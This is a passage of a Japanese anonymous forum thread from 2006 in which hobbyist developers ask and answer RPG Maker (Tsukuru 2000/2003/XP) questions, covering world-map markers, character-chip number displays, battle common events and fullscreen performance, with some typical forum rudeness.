2003と2000じゃデフォ戦闘システムが違うから。

748 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 00:23:27 ID:hLaHD8pa]
ロマンジのってどうやってるの?
コモンで敵のステータス代入出来たり、その他色々と凄い部分があるんだけど。

749 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 00:36:14 ID:vd73J6P8]
調べてみたけど2003ってダンジョン自動で作ってくれる機能があるらしいが、出来はどうなの?
まともに機能するならすげー便利な気がするが…



750 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 00:46:33 ID:LW/SFOUZ]
出口のない超高難度のダンジョンが出来上がる

751 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 09:42:25 ID:CmTcipHs]
>>735
並列処理で主人公の位置を取得して
その上部に上半身の絵が来るようにすればできるんじゃない?
ツクールのテクニック大量に紹介してるサイトでもっと詳しく解説してた
そこではピクチャ使ってたけど

752 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 11:10:48 ID:HPEjgRiP]
>>749
結局その機能を使ってるユーザーはまったくいない。

753 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 11:13:02 ID:hLaHD8pa]
ロマンジのってどうやってるの?
コモンで敵のステータス代入出来たり、その他色々と凄い部分があるんだけど。

754 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 13:23:01 ID:uTvAXDZY]
>>753
戦闘中にコモン呼び出しは2003からコピーしたんだと思う。

755 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 13:36:27 ID:hLaHD8pa]
>>754
「未知のコマンド」になるんだけど・・・。

756 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 14:11:03 ID:7ym39Z/p]
コモン内に無効なコマンドがあるとかじゃないの?
なにやらせてんの?

757 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 14:44:15 ID:hLaHD8pa]
>>756
とりあえず動くかテストで文章表示とかさせてるけど

758 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 17:47:00 ID:gqHPMPKJ]
KGCの盗むを入れてるんですが。
盗むの結果を表示する
ヘルプウィンドウの表示時間が短くて何を盗んだか読み難く、
ヘルプウィンドウの表示時間を伸ばしたいのですが、
如何すれば宜しいでしょうか?

759 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 23:45:44 ID:4YZh1zne]
ヘルプウィンドウの表示時間を長くすればいいと思うよ



760 名前:758 mailto:sage [2006/12/03(日) 10:02:25 ID:CsK/ySzw]
>>759
ヘルプウィンドウの表示時間を長くするには
どのスクリプトのどの部分を弄ればいいのですか?

761 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 11:43:44 ID:nFczpNZl]
どうすればXPでワールドマップが作れますか?

762 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 12:15:33 ID:M5WXv+QN]
ワールドマップを作れば良いと思うよ

763 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 13:41:56 ID:WPcmOv/w]
>>761
普通に作るのと同じじゃないかね。

Youどういうのを作りたいのか「ワールドマップ」の定義がはっきりしてないよ。

764 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 13:57:06 ID:sJJss3DO]
>>751
遅くなったがトンクス

765 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 15:35:24 ID:3I6k80xQ]
>>761
ワールドマップを作ればいいんじゃないかな

766 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 18:44:03 ID:nFczpNZl]
>>763 んとねごく普通のワールドマップ 
決まったボタンを押すと画面全体がワールドマップ画面に切り替わって自分の今いる場所が点で表されるってのがいいんだけど。
一つ一つの大陸はそれぞれ違うマップで作ってあるからどうすればいいのかな

767 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 19:59:13 ID:09leiyZ1]
アレ臭いな…

768 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 20:11:13 ID:yf8aVlk6]
ワールドマップとマーカーをピクチャーで用意してマップごとに位置を割り出す算式を組んで
マップIDと座標から割り出した位置にマーカーを表示知ればいいだけじゃないの?

2000のコモンでもできるから、そのままXPでもコモンでできるっしょ。

769 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 20:41:54 ID:nFczpNZl]
難しすぎてなにがなんだか もっと詳しくお願いしやす



770 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 20:51:40 ID:rbhtYr2V]
ぽかーん。これ以上どう簡単にせよと……。
一回、自分の欲しいモノを整理して考えてみるといいよ。

マーカーはキャラでもいいわな。

771 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 22:03:06 ID:Sg5BOqzl]
2000製のゲームってフルスクリーンでプレイしないと動作が遅くなるんですか?
安価なSXGA(1280×1024)の液晶ディスプレイでフルスクリーンにするとアスペクト比が変わってしまうのですが、
比率を保持したまま拡大できる機能のあるディスプレイを使用しないと液晶で2000製のゲームはプレイしづらいのでしょうか?
XPだとそこら辺はどうなっているのでしょうか?




772 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 23:05:15 ID:vJPFxLuW]
ウィンドウモードの大きい方は
画面のプロパティで「画面の色」を16ビットにすれば
小さい方やフルスクリーンと同じくらいの軽さ。

XPはかなり重い。

773 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 23:56:49 ID:Sg5BOqzl]
そうですか……。
それじゃあツクールを使うのはやめます。
さようなら。


774 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 23:58:01 ID:Znz9Bg+c]
キャラチップって

1 2 3
4 5 6
7 8 9
0 * #
って感じに並んでるよね?


自作戦闘で数字表示する時にセラブルみたいなイベントのページ毎に「あれが1以上ならキャラチップで1を表示」という条件じゃなくて
動作指定して1ページにまとめたいんだ


ただ動作指定は方向しか指定出来なくて?、正面向いてると258*しか表示出来ないのよ

イベントページのキャラチップ選択する所でチップ右側、左側、真中で右側にすれば1470、左側にすれば369#が表示出来るんだけど何とか1ページに押さえたい


意味不明な文章だけと誰か教えて下さい

775 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 00:09:51 ID:tPh54uiS]
ん?ツクール2000ってWinXPだと動き悪くなるの?

776 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 00:13:44 ID:4pPJRYTK]
そちらさんの文意を汲み取れているかは分からないけど、

チップセットは、1キャラに対して12マス。
1 2 3
4 5 6
7 8 9
0 * #
で、一ページに抑えるとなると向き指定で揃えるしかないわけだから、
実質、使えるのは258*のマスのみ。
となれば、これを計三キャラ分(1〜4、5〜8、9〜12の数字に対応)作れば問題解決じゃないの?
仮に三つ作ってそれぞれ@ABとすれば、
条件指定で変数○○が1の時に@「上を向く」=1に対応
条件指定で変数○○が2の時に@「右を向く」=2に対応
条件指定で変数○○が3の時に@「下を向く」=3に対応
条件指定で変数○○が4の時に@「左を向く」=4に対応

条件指定で変数○○が12の時にB「左を向く」=12に対応
ってな具合で。ただ、個人的にはセラブル方式の方が楽のような気がする。
面倒って言うならピクチャーで表示するってのもありかと。
というか、チップ使ってこの手法ならピクチャーの方がまだ手軽。こんな感じでおk?

777 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 00:21:08 ID:4pPJRYTK]
ん、間違ったな。12まで作る必要ないね。9まででいいか。あと0も付け足して。
作るマップチップはこんな感じで。(*は必要ないものと考えて)

* 1 *
* 2 *
* 3 *
* 4 *

* 5 *
* 6 *
* 7 *
* 8 *

* 9 *
* 0 *
* * *
* * *

778 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 00:23:24 ID:WETsvPET]
ピクチャーの方が早くて楽だよ。
でも50しかないからすぐ足りなくなってこまる。

779 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 00:38:35 ID:CHZyBv0S]
>>774
動きが左・中央・右の状態のイベントをそれぞれ用意して、
表示する前に一つの場所に重ねておく。
で、条件を満たさないときは他の二つのイベントは透明にしておけばおk



780 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 01:46:26 ID:RrhcHK2z]
主人公を変えてそれぞれ違う場所から始めたくて
とりあえず、主人公の歩行グラフィックと顔グラフィックは変更してみたのだけど
能力や装備、アイテム、経験値、仲間などはどうすればいいかな

781 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 11:02:15 ID:kX51VxxZ]
だからさあ マーカーやら算式やら意味がよくわからへんねん どうやったらワールドマップ作れるか手順をもっと詳しくたのむ

782 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 11:07:32 ID:3WaEYHtw]
>>781
理解力も、理解しようという意思さえない池沼は諦めろ。
少しは自分で調べて努力しろや。

783 名前:名前は開発中のものです。 [2006/12/04(月) 11:43:47 ID:kX51VxxZ]
そうやって中傷する暇があったら早く教えて 早く

784 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 12:23:32 ID:IBAie81F]
>>781
XPならまず640×480のワールドマップ用の画像を用意する、そして赤い点でもなんでもいいから
現在位置のマーカー用画像も用意する。
いくつかに分かれたマップの四隅の位置がワールドマップどの位置に来るかそれぞれ決める。
例えばある地域のマップはワールドマップ画像上での位置が左上隅が(150,100)右下隅は(300,200)の
位置に対応していたと仮定する、その地域のマップの広さが仮に30×20マスだったとする場合、
0,0=150,100、30,20=300,200に対応するのはわかると思う。
この地域のx座標の計算式は150+(x*5)、y座標の計算式は100+(y*5)となる。
高校1年生くらいの数学力があれば余裕で計算式は導けるはずなので、地域マップごとにこれを用意いて
マップIDと座標を監視して対応した計算式を呼び出し、マップを表示した後その上の対応した座標位置に
マーカーを表示するようにコモンを作れば基本的に2000でも2003でもXPで作れる。

785 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 12:33:57 ID:IBAie81F]
なんだタナだったのか、詳しく説明して損した教えてもどうせ判らないからな。

786 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 13:20:35 ID:MK/wSUpw]
流れぶった切ってすいませんが、質問です。

ツクール95のモングラをツクール2000で使用するには
どうすればいいでしょうか?
95からモングラを取りだす方法がわかりません・・・。

787 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 13:45:43 ID:JO+zXrGO]
どっかのフォルダとかに入ってるんじゃねーの。
まぁそもそも95と2000では解像度違うから使うのは難しいけどよ。

788 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 17:31:05 ID:a8d2o39b]
サンプルゲーム覗けば分かるような質問が多いですね^^;






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